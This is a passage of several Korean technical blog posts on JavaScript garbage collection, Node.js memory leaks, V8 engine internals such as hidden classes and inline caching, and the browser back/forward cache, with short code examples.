| js-joda  | 208    | 39         | 11.397    | X            | O         | O           | O        |
| date-fns | 30     | 7          | 5.175     | O            | O         | X           | X        |
| native   |        |            | 1.297     |              | X         | X           | X        |

출처: https://inventi.studio/en/blog/why-you-shouldnt-use-moment-js#fnref2

그럼에도, 저렇게 큰 라이브러리 자체를 deprecated 시킬 수 있다는 것 만으로도 자바스크립트 생태계가 건강하게 나아가고 있다는 방증인 것 같다. 여전히, 많은 수의 프로젝트가 moment에 의존하고 또 그 편리함에 많은 도움을 얻었다. moment가 이야기 한 `modern web looks much different these days` 처럼, 이제는 다른 라이브러리를 쓸 때가 왔다. 그리고 나 또한, 오래되고 낡은 코드를 과감하게 deprecated 시킬 용기가 필요하다.

---

Source: https://yceffort.kr/2020/12/javascript-garbage-collection.md
Title: 자바스크립트의 가비지 컬렉션
Description: 원래 이런건 이해가 될 때 까지 하는거임
Date: 2020-12-01
Tags: javascript, memory

가비지 컬렉션은 모든 언어에서 굉장히 중요한 프로세스다. C와 같은 언어에서 수동으로 처리하고, 다른 언어에서는 이를 자동으로 처리한다. 이를 자바스크립트 내부에서는 어떻게 처리할까?

## 자바스크립트 메모리 라이프 사이클

거의 모든 프로그래밍 언어의 메모리 라이프 사이클은 다음과 같이 작동한다.

1. allocate (할당)
2. use (사용)
3. release (해제)

차이 점은 이를 수행하는 방식 (사용하는 알고리즘)과 각 단계를 처리하는 방식(수동인지, 자동인지 여부)에 있다.

자바스크립트의 경우, 할당 및 해제는 자동으로 이루어 진다. 그렇다고 해서 개발자가 이에 대해 관심을 갖지 말라는 것은 아니다. 무한 루프, 잘못된 재귀처리, 콜백 지옥 등은 메모리 낭비를 이르켜 메모리 누수로 이어진다. 따라서 코딩을 잘해서 이러한 시나리오가 발생하지 않도록 하는 것이 중요하다.

자바스크립트의 경우, 새로운 변수가 선언되면 메모리에 공간이 할동 된다.

```javascript
var bar = 'bar'
```

그리고 메모리가 더 이상 사용되지 않는다면, [변수 스코프](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var) 제한을 고려하여 메모리 공간 해제가 이루어진다.

하지만 어떻게 자바스크립트에서 더 이상 메모리가 사용되지 않는다는 것을 알까? 그것은 바로 가비지 콜렉를 통해서 이루어진다.

## 가비지 콜렉션 전략

자바스크립트는 두개의 유명한 가비지 콜렉션 전략을 사용한다.

- Reference-counting
- Mark-and-sweep

[레퍼런스 카운팅](https://en.wikipedia.org/wiki/Reference_counting)은 파일, 소켓, 메모리 슬롯등 할당된 각 리소스를 가리키는 참조의 수를 계산하는 것이다.

메모리에 할당된 각 객체에 연결된 count 필드가 포함되어 있다고 생각해보자. 객체에 더 이상 가리키는 참조가 없을 때 자동으로 가비지 콜렉팅 된다.

```javascript
var bar = {
  name: 'bar',
}
bar = ''
```

위 예제에서 `bar`와 `name`이 존재한다. `bar`는 새로운 값을 받았기 때문에, `name`은 가비지 콜렉팅 된다.

좀 더 복잡한 아래 예제를 살펴보자.

```javascript
var bar = {
  name: 'bar',
}
var bar = 'foo'

function check() {
  var bar = {}
  var foo = {}
  bar.name = foo
  foo.name = bar

  return true
}
check()
```

자바스크립트는 객체에 대한 참조 기반의 언어로, 이는 즉 객체 명이 메모리 내 인스턴스화 된 값을 가리키는 것을 의미한다. 이 예제에서는, 자식의 객채/변수는 부모가 자동으로 참조한다.

위 예제에서는 순환 참조를 만들고 있다. `check`함수내의 `bar`는 `foo`를 참조하고 있으며 그 반대 경우도 마찬가지다.

일반적으로 함수가 실행을 마치면 내부 요소는 가비지 컬렉팅이 된다. 그러나 이경우에는 객체가 여전히 서로 참조되고 있기 때문에 가비지 컬렉팅 되지 않는다.

여기에서 이제 자바스크립트의 두번째 작전인 `mark-and-sweep` 알고리즘이 동작한다.

이 알고리즘은 자바스크립트의 최상위 객체인 `global`(`window`)에 도달할 수 없는 객체를 찾는 방식으로 작동한다.

![mark-and-sweep1](https://d33wubrfki0l68.cloudfront.net/eff15dde3b4a6db32945c32b8b04047bc9ec9b8a/47eba/images/blog/2020-10/figure2.png)

보시다시피, 자바스크립트는 `name` 객체를 최상위에서 쉽게 찾을 수 있다.

만약 다음 코드가 실행되면 어떻게 될까?

```javascript
var bar = 'foo'
```

![mark-and-sweep2](https://d33wubrfki0l68.cloudfront.net/ad95ba131dc543352e80b6b34d48cf2003c7011b/3160a/images/blog/2020-10/figure3.png)

이제 더 이상 `name`은 root에서 접근할 수 없는 객체가 된다.

나머지 프로세스는 굉장히 직관적이다. 알고리즘은 루트에서 하단의 객체까지 각각 루트에서 접근할 수 있는 객체인지, 혹은 `name`처럼 더 이상 접근할 수 없는 객체인지를 별도로 표시해둔다.

이 과정은 자바스크립트의 GC만 알고 있는 몇몇 내부 조건을 통해 반복되고 있는데, 이는 대부분의 언어의 GC에서도 동일하게 동작한다.

## Node.js의 가비지 콜렉션

Node.js의 가비지 콜렉션이 어떻게 동작하는지 이해하기 전에, heap과 stack에 대해서 알아두어야 한다.

heap은 참조유형에 해당하는 데이터들이 나타나는 곳이다. 여기서 참조 유형이라 함은 객체, string, 클로져 등을 의미한다.

따라서 자바스크립트에서 객체가 만들어지면, 객체는 heap에 위치하게 된다.

```javascript
const myCat = new Cat('Joshua')
```

반면에, stack은 heap에서 생성된 객체에 대한 참조가 저장되는 곳이다. 예를 들어 함수의 argument는 stack에 존재하는 참조의 좋은 예다.

```javascript
function Cat(name) {
  this.name = name
}
```

그리고 힙은 `new space`와 `old space`로 나누어진다.

![heap](https://d33wubrfki0l68.cloudfront.net/0c2c3b1c7345423b26f87fa469dac4b20ec11d16/5db77/images/blog/2020-10/figure4.png)

`New space`는 새로운 객체와 변수를 할당하는 메모리 영역이며, 이름 그대로 새로운 것들이기 때문에 GC 처리가 빠르다. 이름에서 알 수 있듯이, 이영역은 비교적 이르게 할당된 객체들이 존재한다.

`Old space`는 `new space`에서 수집되지 않는 객체들이 얼마 후에 이동하는 곳이다. 사이즈가 큰 객체나, V8로 컴파일된 코드와 같은 것들이 존재한다.

Node.js는 GC가 `old space`로 가지 않도록 최선을 다한다. 왜냐하면 `old space`는 GC를 하는데 더 많은 비용이 들기 때문이다. 따라서 전체 대상의 20% 정도만 `old space`로 이동한다.

- `Scavenge`: 이 가비지 컬렉터는 실행될 때마다 메모리의 작은 부분을 청소하여 `young generation`을 처리한다. 매우 빠르다.
- `Mark-and-sweep`: 아까 언급했던 알고리즘으로, 느리지만 `old generation`에서 유용하게 동작할 수 있다.

## Node.js의 메모리 누수 예제

자바스크립트가 Nodejs 에서 메모리를 다루는 방법을 보는 좋은 예제는 아주 클래식한 메모리 누수 예제를 보는 것이다. 메모리 누수는 모든 GC전략이 루트 객체와의 연결을 잃어서 객체를 찾지 못할 때 발생한다. 그 외에도, 객체가 항상 다른 객체에 의해 참조되면서 동시에 크기가 커지는 경우에도 발생할 수 있다.

예를 들어 간단한 nodejs서버가 아래와 같이 있으며, 모든 요청에서 중요한 데이터를 저장하려 한다고 생각해보자.

```javascript
const http = require('http')

const ml_Var = []
const server = http.createServer((req, res) => {
  let chunk = JSON.stringify({url: req.url, now: new Date()})
  ml_Var.push(chunk)

  res.writeHead(200)
  res.end(JSON.stringify(ml_Var))
})

const PORT = process.env.PORT || 3000
server.listen(PORT)
```

모든 요청에 대해서 json stringify로 리스트에 푸쉬한다고 가정해보자. `ml_Var`는 글로벌 변수 이기 때문에 서버가 종료될 때 까지 메모리에서 계속 존재할 수 있다. 이는 굉장히 위험한 지점이다.

특히 다른 개발자들이, 내가 볼 수 없는 지점에서 아이템을 추가할 수 있기 때문에, 이러한 객체는 애플리케이션에서 문제를 야기할 수 있다.

```bash
node --inspect index.js
```

```bash
Debugger listening on ws://127.0.0.1:9229/16ee16bb-f142-4836-b9cf-859799ce8ced
For help, see: https://nodejs.org/en/docs/inspector
```

이제 크롬에서 `chrome://inspect` 명령어로 살펴보면 아래와 같은 화면이 나온다.

![chrome-inspection](./images/chrome-inspection.png)

`remote target` 섹션에 `inspect`링크가 있다. 이를 클릭하면, nodejs 애플리케이션의 세션을 볼 수 있는 화면이 뜬다. 로그, 소스, CPU 프로파일링 및 메모리 분석 등을 수행할 수 있다.

메모리 탭에서 `Take snapshot`을 크릭하면, 현재 실행중인 애플리케이션의 더미 스냅샷 프로필 (메모리 덤프)를 생성한다. 메모리 누수가 일어나기 전후의 메모리를 비교하는 것이 일단 목표다.

메모리 덤프를 가져오기에 앞서, 벤치 마킹을 돕기 위한 도구로 [siege.js](https://www.npmjs.com/package/siege)를 사용할 것이다. 이 라이브러리는 엔드포인트에 대해 수백 수천건의 요청을 실행하는 작업을 단순화 하는 node.js의 벤치마킹 도구다.

```javascript
const siege = require('siege')
siege().on(3000).for(2000).times.get('/').attack()
```

3000포트에 대해서 `/`요청을 2000번 날릴 것이다.

```bash
GET:/
GET:/
GET:/
GET:/
GET:/GET:/GET:/GET:/        done:2000        200 OK: 2000        rps: 2721        response: 1ms(min)      24ms(max)     5ms(avg)
```

DevTool로 돌아가서 `Take snap shot`버튼을 누르자.

![siege](./images/siege.png)

수 많은 string 들이 쌓인 것을 볼 수 있다. 실제 애플리케이션이었다면, 더 많은 양의 string 이 쌓여 있을 것이다. 따라서 이러한 메모리 누수를 조기에 발견하고 해결해야 할 것이다.

## 더 읽어보기

- [ibm의 javascript memory leak 보고서](https://www.ibm.com/developerworks/web/library/wa-memleak/wa-memleak-pdf.pdf)
- [Mozilla Performance](https://developer.mozilla.org/en-US/docs/Mozilla/Performance)

---

Source: https://yceffort.kr/2020/11/deep-dive-into-v8.md
Title: V8 엔진에 대해 가볍게 살펴보기
Description: 맛만 볼게 아니고 직접 코드 까봐서 공부를 해봐야 되는데 😭
Date: 2020-11-27
Tags: javascript, browser

대부분의 프론트엔드 개발자들은 V8이라는 용어를 들어본 적이 있을 것이다. V8은 구글에서 만든 오픈소스 자바스크립트 및 웹 어셈블리 엔진으로, C++ 로 작성 되어있으며 현재 크롬과 Nodejs 등에서 사용되고 있다. V8의 중요한 역할 중 하나는 generational (데이터의 시간에 따라서 정렬한다는 뜻인데, 정확히 뭐라고 표현해야 할지 모르겠다) 하면서도 매우 정확한 가비지 콜렉션이다. 메모리를 많이 사용하지 않더라도, 자바스크립트가 더 이상 필요하지 않은 객체를 수집하도록 최적화 되어 있다. 이 외에도 V8은 역사적으로 자바스크립트의 속도를 느리게 만드는 고유의 기능성을 개선하기 위해 일련의 다른 툴과 feature들을 사용한다. 이 글에서 이러한 도구 (Ignition 과 TurboFan)와 다양한 기능에 대해서 알아보고자 한다. 그 외에도 V8의 내부 기능, 컴파일 및 가비지 콜렉션 절차, 단일 스레드 특성 등의 기본 특성을 알아보고자 한다. 기회가 된다면, 정말 V8을 코드 레벨로도 살펴볼 수 있었으면 좋겠다.

## 기초부터 살펴보기

기계 코드 (Machine code)는 어떻게 동작할까? 기계 코드란 메모리의 특정부분에서 실행될 수 있는 매우 저수준의 언어 명령의 집합이다. C++ 를 기준으로 그 과정을 묘사해보자면 아래와 같다.

![process](https://d33wubrfki0l68.cloudfront.net/b08f7bc5a007ad810a62c6c2edf1510bcd18001f/2f357/images/blog/2020-07/figure01.png)

더 나아가기전에, 자바스크립트의 interpretation 과 는 다른 컴파일 과정이라는 것에 대해 알아볼 필요가 있다. 컴파일러는 프로세스가 끝날 때 전체 프로그램을 생성하는 반면, interpreter는 instruction (자바스크립트의 스크립트와 같은)을 읽고 실행 가능한 명령으로 말 그대로 번역하여 그 일을 하는 프로그램으로 자체 동작하게 된다.

이러한 interpretation 과정은 즉시 (인터프리터가 현재 명령 구문만 분석하고 실행) 이루어지거나 완전히 구문 분석을 마친뒤에 (인터프리터가 기계명령을 진행하기 전에 스크립트 전체를 완전히 번역할때) 모두 발생할 수 있다.

그림으로 돌아가서 다시 보면, 컴파일 프로세스는 일반적으로 알려져 있는 것처럼 소스코드로부터 시작된다. 코드를 구현하고, 이를 저장한 뒤에 실행한다. 컴파일러는 여느 프로그램처럼 머신에서 실행된다. 그런 다음 모든 코드를 살펴보고 객체 파일을 생성한다. 이러한 파일은 기계 코드다. 특정 컴퓨터에서 실행되는 최적화된 코드이므로 다른 OS 에서 이를 활용 할 때는 다른 컴파일러를 사용해야 한다.

그러나 이를 위해 별도의 객체 파일을 실행할 수는 없으므로, `.exe`와 같이 실행파일 형태의 단일 파일로 결합해야 한다. 이것이 바로 링커의 일이다.

마지막으로 로더는 해당 exe 파일의 코드를 OS 의 가상메모리로 전송하는 에이전트 이다. 그리고 마침내 프로그램이 실행된다.

대부분의 경우 (은행의 메인 프레임에서 Assembly로 직접 작업하는 개발자가 아니라면) Java, C#, Ruby, Javascript 와 같은 고수준 언어로 프로그래밍을 하는데 많은 시간을 할애 한다. 언어의 수준은 높을 수록 느리다. 기계어 코드인 어셈블리언어에 가까울 수록 빨라지며, 그렇기 때문에 C와 C++이 빠르다.

성능과 별도로 V8의 주요 이점 중 하나는 ECMAScript 표준을 넘어서 C++ 도 이해 할 수 있다는 것이다.

![V8](https://d33wubrfki0l68.cloudfront.net/d056b38131c76fa5337d0fc172b70382662d87e6/8f55e/images/blog/2020-07/figure02.png)

자바스크립트의 기능은 ECMAScript를 준수한다. 그리고 V8은 이 규정을 준수하는 한편으로, 이에 제한되지 않는다.

C++ 기능을 V8에 이용할 수 있는 능력은 매우 훌륭하다. C++은 파일조작, 메모리 및 스레드 처리와 같은 OS의 특수성을 매우 능숙하게 다를 수 있는데, 이러한 기능을 자바스크립트에서도 할 수 있게 끔 구현 해 두었다.

## 단일 스레드

Node 개발자라면 V8의 단일 스레드 특성에 익숙할 것이다. 각 자바스크립트 실행 컨텍스트는 하나의 스레드를 가지고 있다. 물론 이러한 OS 스레드 메커니즘을 V8이 뒤에서 제어하고 있다. 복잡한 소프트웨어이고, 동시에 많은 것을 수행해야 하기 때문에 이는 둘 이상의 스레드에서 작동한다. 코드를 실행하는 메인스레드, 코드를 컴파일를 다른 스레드, 가비지를 수집하는 스레드 등이 존재할 수 있다.

그러나 V8은 각 자바스크립트 컨텍스트 마다 하나의 싱글 스레드 환경을 만들어준다. 나머지는 V8의 제어 하에 놓여져 있다.

자바스크립트 코드가 호출한 함수의 스택을 상상해보자. 자바스크립트는 각 함수를 삽입 또는 호출한 순서에 따라 한 함수를 다른 함수 위에 쌓는 (스택) 방식으로 작동한다. 각 함수의 콘텐츠에 도달하기 전까지, 다른 함수를 호출하는지를 알 수 없다. 만약 그렇게 된다면, 호출자의 바로 뒤에 호출된 함수가 스택으로 배치될 것이다. 예를 들어 콜백의 경우, 맨 끝에 놓여지게 된다.

이러한 스택의 관리와 메모리 배치가 V8의 메인 작업 중 하나다.

## Ignition, Turbofan

2017년 5월에 발표된 5.9 버전 이후로, V8은 [Ignition](https://v8.dev/docs/ignition) 이라고 하는 V8 인터프리터를 자바스크립트 실행 파이프라인 최 상단에 배치 하였다. 또한 더 나은 최적화 컴파일러인 [Turbofan](https://v8.dev/docs/turbofan)도 모습을 드러냈다.

이러한 변화는 전체적인 성능에 초점을 맞추었고, 구글 개발자들이 자바스크립트 생태계가 제기하는 빠르고 상당한 엔진의 변화를 적용할 때 구글 개발자들이 직면하는 어려움을 해결하는데 중점을 두었다. 프로젝트가 시작될 때 부터 V8 메인테이너들은 자바스크립트가 진화하는 것과 같은 속도로 V8의 성능을 향상 시킬 수 있는 좋은 방법을 찾는것에 대한 고민이 있었다. 이러한 노력 덕분에, 새엔진을 가동할 때 큰 성능의 이점을 볼 수 있다.

![performance-of-5.9](https://d33wubrfki0l68.cloudfront.net/c145cd3d5a9719cb841c61baf13fef7819b41450/c4b00/images/blog/2020-07/figure03.png)

## Hidden Classes

V8의 마법같은 요소 중 하나다. 자바스크립트는 동적 언어다. 즉 실행 되는 과정에서 새로운 속성이 추가되거나, 대체되거나, 삭제될 수 있다는 것을 의미한다. 자바나 대다수의 언어의 경우 애플리케이션 시작 이후에는 동적으로 변경될 수 없는 언어와는 다른 차이다. 이러한 특징 때문에 해시 함수를 기초로한 dictionary lookup을 수행하여 이 변수가 객체가 메모리에 할당되는 위치를 장확히 알고 있다. 그러나 이는 최종 프로세스에 많은 비용이 든다. 이에 반해 다른언어에서는 객체가 생성될 때, 암묵적인 속성 중 하나로 주소(포인터)를 받는다. 이 방법으로 이들이 메모리 어디에 위치하고 있는지, 얼마나 많은 공간을 할당해야 하는지를 정확히 알 소 있다.

그러나 자바스크립트는 아직 존재하지 않는 것을 매핑할 수 없기 때문에 이러한 방법을 적용하는 것은 불가능하다. 그리고 여기에서 hidden class를 사용한다. 이는 자바에서와 거의 동일하다. 고정된 클래스와 고유 주소를 사용하여 위치를 찾는다. 그러나 프로그램 실행전에 하는 것이 아니고, V8은 런타임 도중에, 객체의 구조에 동적인 변화가 수행될 때 마다 이를 수행한다. 아래 코드를 살펴보자.

```javascript
function User(name, phone, address) {
  this.name = name
  this.phone = phone
  this.address = address
}
```

자바스크립트는 프로토타입 기반의 언어이므로, User 객체를 초기화 하면 아래처럼 된다.

```javascript
var user = new User('John May', '+1 (555) 555-1234', '123 3rd Ave')
```

그러면 V8은 hidden class를 만든다. `_User0`이라고가정하자.

![_User0](https://d33wubrfki0l68.cloudfront.net/a875a24a8469140ca028f18f67a9b2c3f46cdef3/51e3d/images/blog/2020-07/figure04.png)

각 객체는 메모리에서 클래스 표현에 대한 참조를 가지고 있다. 이 시점에서 방금 새로운 객체를 인스턴스화 했기 때문에, 메모리 속에 숨겨진 클래스를 만들었다. 그리고 당장은 비어있다. 그리고 함수의 첫번째 줄을 실행하게 되면, 새로운 hidden class가 이전 hidden class를 기반으로 생성된다. 그리고 이를 `_User1`이라고 해보자.

![_User1](https://d33wubrfki0l68.cloudfront.net/af62dca2334af839e484b038be90d54bb3119a22/ccce1/images/blog/2020-07/figure05.png)

기본적으로 `User`의 메모리 주소는 `name`속성을 갖는다. 이 예제에서는, `name`만 가진 `user`를 속성으로 사용하는 것이 아니라, 매번 이렇게 할 때마다 hidden class V8이 참조로 로드된다. `name` 속성은 메모리 버퍼에 `offset 0`으로 추가되는데, 이 뜻은 첫번째 속성으로 분류된다는 것이다.

V8은 또항 transition value를 `_User0` hidden class에 추가 했다. 이는 인터프리터가 `User`에 `name`속성이 추가 될 때 마다, `_User0`에서 `_User1` 로 값의 이동이 이루어 져야 한다는 것을 알려 준다.

그리고 두번째 줄이 호출되면, 같은 과정이 반복되면서 hidden class 가 생성된다.

![_User2](https://d33wubrfki0l68.cloudfront.net/1ab5bbae18ab7ed6fccc301c742ba15dd9599503/57581/images/blog/2020-07/figure06.png)

hidden class가 스택형태로 쌓여 있는 것을 볼 수 있다. 하나의 hidden class가 체이닝 형태로 값을 이어가고 있는 것을 볼 수 있다. 이 속성의 순서는 V8이 hidden class를 만드는 순서를 결정한다. 속성의 순서를 바꾼다면, 생성되는 hidden class의 순서도 바뀐다. 이러한 이유 때문에 개발자들이 가급적이면 존재하는 hidden class를 재사용하기 위해 속성의 순서를 유지하는 것이다.

## 인라인 캐싱

JIT 컴파일러를 사용한다면 이는 매우 익숙한 용어다. 이는 hidden class의 콘셉트와 바로 직결된다. 예를 들어, 객체를 매개변수로 하는 함수를 호출 할 때마다 V8은 이 동작을 보고, "음.. 이 객체는 이 함수에 대한 매개변수를 두번이상 성공적으로 전달했군, hidden class를 검증하는 프로세스를 다시 수행하지 않고 향후 호출을 위해 캐시에 저장해두면 어떨까?" 라는 생각을 하게 된다.

```javascript
function User(name, fone, address) {
  // Hidden class _User0
  this.name = name // Hidden class _User1
  this.phone = phone // Hidden class _User2
  this.address = address // Hidden class _User3
}
```

`User` 객체가 함수의 파라미터로 두번이상 초기화 된다면, V8은 hidden class를 참고하는 것을 스킵하고 바로 속성의 offset을 참고한다. 이게 훨씬 빠르다. 그러나 항상 명심해 두어야 할 것은, 속성의 순서가 변하게 된다면 다른 hidden class를 만들게 되기 때문에 인라인 캐싱이 어려워진다.

## 가비지 컬렉팅

V8의 가비지 컬렉팅은 프로그램 실행 스레드와 다른 스레드에서 이뤄지기 때문에, 프로그램 실행에 영향을 미치지 않는다. V8은 [mark-and-sweep](https://en.wikipedia.org/wiki/Tracing_garbage_collection#Copying_vs._mark-and-sweep_vs._mark-and-don't-sweep)이라는 방식으로 메모리에서 죽거나 오래된 객체를 가비지 컬렉팅 한다. 이 방법은, GC가 메모리 객체를 스캔하여 수집을 위해 '표시'하는 단계는 이를 작업하기 위해 실행을 일시 중지 시키기 때문에 다소 느리다.

그러나 V8은 점진적으로 최대한 많은 객체에 'mark'를 해두려고 한다. 수집이 끝날 때 까지, 전체 실행은 중단될 필요가 없기 때문에 빠르게 이뤄진다. 대용량 애플리케이션에서는, 이러한 성능의 향상이 많은 차이를 만든다.

---

Source: https://yceffort.kr/2020/11/back-forward-cache.md
Title: 뒤로가기, 앞으로가기의 캐시 aka bfcache
Description: 항상 브라우저에 감사하십시오 frontend developers.
Date: 2020-11-26
Tags: browser, web-performance

뒤로가기/앞으로가기 캐시 (이해 bfcache)는 브라우저에서 일어나는 최적화로, 앞으로가기나 뒤로가기가 발생했을 때 화면을 즉시 보여주는 역할을 한다. 이는 사용자의 브라우저 사용성을 향상시키는데, 특히 느린 네트워크/디바이스에서 빛을 발한다.

## 브라우저 호환성

bfcache는 [파이어폭스](https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/1.5/Using_Firefox_1.5_caching)와 [사파리](https://webkit.org/blog/427/webkit-page-cache-i-the-basics/)에서 몇년전부터 지원하고 있었다. 크롬 역시 마찬가지다

## bfcache란

bfcache는 인메모리 캐시로, 자바스크립트 힙까지 포함해 페이지 전체를 완전히 캐시로 저장해버리는 것을 의미한다. 전체 페이지가 메모리 안에 있기 때문에, 사용자가 이전페이지로 돌아가고자 했을 때 빠르게 전체 페이지를 보여줄 수 있다.

### bfcache가 비활성화 되어 있다면

이전 페이지 로딩을 위해서 새로운 요청을 시도할 것이며, 반복적인 방문에 따라서 웹페이지가 얼마나 최적화 되어 있냐에 따라서 브라우저는 재다운로드, 재 parsing, 재 실행등을 일부 실행하거나 혹은 이를 다 다시 처음부터 시도할 것이다.

### bfcache가 활성화 되어 있다면

전체 페이지가 메모리에 저장되어 있기 때문에, 네트워크 요청을 할 필요 없이 이전 페이지 로딩이 즉시 이루어진다.

크롬의 사용 데이터에 따르면 데스크톱의 탐색중 10%, 모바일 탐색 중 20%가 뒤로가기/또는 앞으로가기에서 이루어진다. bfcache를 이용하게 되면 웹페이지를 로드하는데 소요되는 데이터, 시간 등을 아낄 수 있다.

## 어떻게 동작하는가?

우리가 흔히 알고 있는 HTTP cache와는 동작이 다르다. bfcache는 자바스크립트 힙을 포함해 전체 페이지를 통채로 스냅샷을 떠서 메모리에 올려 버린다. 이에 반해 HTTP 캐시는 이전 요청에서 이루어진 응답에 대해서만 캐싱할 뿐이다. 페이지 로딩에 필요한 모든 요청을 HTTP 캐시로 만족시키는 것은 매우 드물기 때문에, bfcache 복원을 사용한 페이지 방문은 bfcache를 사용하지 않은 '잘 최적화된' 캐시보다 항상 빠르다.

그러나 페이지 스냅샷을 메모리에 올린다는 것은, 현재 실행중인 코드를 보존하려고 할 때 복잡해진다. 예를 들어, 페이지가 bfcache가 되어 있는 동안에 `setTimeout`호출이 있으면 어떻게 해야할까?

정답은 브라우저가 보류중인 timer, 또는 promise의 실행을 일시 중지하고 (기본적으로 자바스크립트 태스크 큐에 있는 모든 작업) 페이지가 bfcache로 부터 복원이 되었을 때 다시 실행하는 것이다.

이는 매우 합리적인 방법으로 보이지만, 때로는 굉장히 복잡한 결과나 이해할 수 없는 행동을 만들어 낼 수도 있다. 만약에 브라우저가 `IndexedDB transaction` 의 일환인 작업을 중지한다고 한다면, 다른 탭에서도 접근할 수 있는 indexedDB의 특성상 다른 탭에서 페이지를 열었을 때 영향을 미칠 수 있다. 그래서 브라우저는, IndexedDB 트랜잭션 또는 다른 페이지에 영향을 줄 수 있는 API 호출 중에는 페이지를 캐싱하려 하지 않는다.

## bfcache의 작업을 api로 살펴보기

bfcache는 브라우저가 자동으로 하는 최적화이지만, 여전히 개발자들이 이 동작을 잘 이해 한다면 페이지를 최적화 하거나 성능을 측정하고 조정하는데 도움을 얻을 수 있다.

bfcache를 관찰할 수 있는 가장 좋은 이벤트는 `pageshow`와 `pagehide`다. [새로운 페이지 라이프 사이클 이벤트](https://developers.google.com/web/updates/2018/07/page-lifecycle-api)인 `freeze` 와 `resume`도 bfcache를 확인하는데 도움을 얻을 수 있다. 예를 들어, CPU 사용량을 최소화 하기 위하여 백그라운드 탭을 프리징할 때에 이 이벤트를 쓸 수 있다. 하지만 이는 오로지 크로미윰 브라우저에서만 확인가능하다.

### bfcache를 복원하는 순간을 확인하기

`pagehide`와 `pageshow`는 쌍으로 일어난다. `pageshow`는 페이지가 정상적으로 로딩 되거나, bfcache 로부터 페이지 복원 될 때 일어난다. `pagehide`는 마찬가지로 페이지가 정상적으로 언로드 되거나, bfcache로 들어가는 순간에 일어난다.

`pagehide`는 `persisted`속성을 가지고 있는데, `false`가 리턴되면 page가 bfcache되지 않음을 의미하는 것이다. 그렇다고 `true` 라고 해서 bfcache를 보장하는 것은 아니다. 단지 브라우저가 페이지를 캐싱 시도했다는 것을 의미하며, 무언가 다른 이유로 인해서 캐싱이 안될 수도 있다.

```javascript
window.addEventListener('pagehide', function (event) {
  if (event.persisted === true) {
    console.log('bfcache가 될 수도 있음')
  } else {
    console.log(
      '정상적으로 unload되며 이전 페이지 상태는 bfcache가 안들어가기 때문에 다 버려짐.',
    )
  }
})
```

비슷하게 `freeze`에도 같은 속성이 있으며, 같은 이유로 캐싱을 보장하지 않는다.

## bfcache로 페이지 최적화 하기

모든 페이지가 bfcache로 처리되는 것은 아니며, 심지어 캐싱이 되었다 하더라도 영원히 남아 있는 것은 아니다. 개발자들이 캐시 히트 레이트를 극대화 하기 위해 bfcache를 가능하게/혹은 불가능하게 만드는 것을 이해하는 것이 중요하다.

### 절대로 `unload` 이벤트를 사용하지 말 것

모든 브라우저에서 bfcache로 최적화하는데 가장 중요한 것은 절대절대로 `unload`이벤트를 임의로 사용해서는 안된다는 것이다. 이 `unload`이벤트는 bfcache 이전에 발생하고, 인터넷의 많은 페이지가 `unload`이벤트가 발행 후에는 페이지가 더 이상 존재하지 않는다는 (합리적인) 가정하에 동작하기 때문에, `unload`의 이벤트는 문제를 야기 할 수 있다. 많은 개발자들이 `unload` 이벤트가 더 이상 사용자가 페이지 네비게이션을 하지 않을 때 발생한다고 믿고 있는데, 이는 사실이 아니다.

> Many developers treat the unload event as a guaranteed callback and use it as an end-of-session signal to save state and send analytics data, but doing this is extremely unreliable, especially on mobile! The unload event does not fire in many typical unload situations, including closing a tab from the tab switcher on mobile or closing the browser app from the app switcher.

파이어폭스는 `unload`에 리스너가 달려 있을 경우, bfcache에 적합하지 않은 페이지로 처리한다. 사파리는 `unload`이벤트 리스너와 함께 페이지 케싱을 시도하는데, 잠재적인 버그를 줄이고자 유저가 네비게이션을 실행해버리면 `unload` 이벤트를 실행시키지 않는다. 크롬은 현재 [전체 페이지의 65%에 `unload`이벤트를 달았는데](https://www.chromestatus.com/metrics/feature/popularity#DocumentUnloadRegistered) 사파리와 마찬가지로 이를 실행하지 않는다.

`unload`이벤트 대신에 `pagehide`이벤트를 사용하는 것이 좋다.

### 조건이 있을 때만 `beforeunload`이벤트를 추가해라

`beforeunload`는 크롬과 사파리에 영향을 받지 않지만, 파이어 폭스의 경우 bfcache를 무력화 할 수 있으므로 사용해서는 안된다.

`unload`이벤트와는 다르게, 합리적으로 `beforeunload`를 사용할 수 있는 케이스가 존재한다. 예를 들어, 사용자가 데이터를 저장하지 않고 페이지를 떠나려고 하는 경우, `beforeunload`를 사용하여 사용자에게 경고를 하고, 사용이 끝난 즉시 지워버리는 것이 좋다.

🙅‍♂️ 하지 말것

```javascript
// 이벤트가 계속 남아있게 된다.
window.addEventListener('beforeunload', (event) => {
  if (pageHasUnsavedChanges()) {
    event.preventDefault()
    return (event.returnValue = 'Are you sure you want to exit?')
  }
})
```

🙆 해도 되는 것

```javascript
function beforeUnloadListener(event) {
  event.preventDefault()
  return (event.returnValue = 'Are you sure you want to exit?')
}

onPageHasUnsavedChanges(() => {
  window.addEventListener('beforeunload', beforeUnloadListener)
})

// 더 이상 사용이 필요 없으면 바로 지운다.
onAllChangesSaved(() => {
  window.removeEventListener('beforeunload', beforeUnloadListener)
})
```

### window.opener references의 사용을 피할 것

일부 브라우저 (크롬 86 포함) 페이지를 `window.open`또는 `target=_blank`에 `rel="noopner"`를 명시하지 않고 페이지를 열었을 경우 열린 페이지는 페이지를 이 페이지를 열어준 페이지에 대해서 참조를 사용하게 된다.

또한 보안상의 이유로 인해, `window.opener`의 null이 아닌 참조를 가지고 있는 페이지는 bfcache를 안전하게 사용할 수 없다. 이는 bfcache에 접근을 시도하는 페이지에 대해 위협이 되기 때문이다.

따라서 `window.opener`를 쓸 때는 반드시 `rel="noopener"`를 써야 한다. 만약 열린 윈도우에 대해 제어가 필요하다면 `window.postMessage`를 사용하는게 좋다. 그렇지 않고 윈도우 객체를 직접 참조하게되면, 열린 페이지 또한 열려있는 페이지 모두 bfcache를 누리지 못하게 된다.

### 사용자가 다른 페이지로 가기전에 모든 connection을 close해라.

위에서 언급했던 것처럼, bfcache에 들어가기전에 모든 예약된 자바스크립트 태스크는 중단되고, cache에서 나올때 다시 시작된다. 만약 스케쥴된 자바스크립트 태스크가 단순히 DOM Api에 접근하거나, 현재 페이지와 별개로 작동하는 API라고 한다면, 페이지를 일시정지해서 bfcache로 들어가는 것이 크게 문제가 되지 않는다.

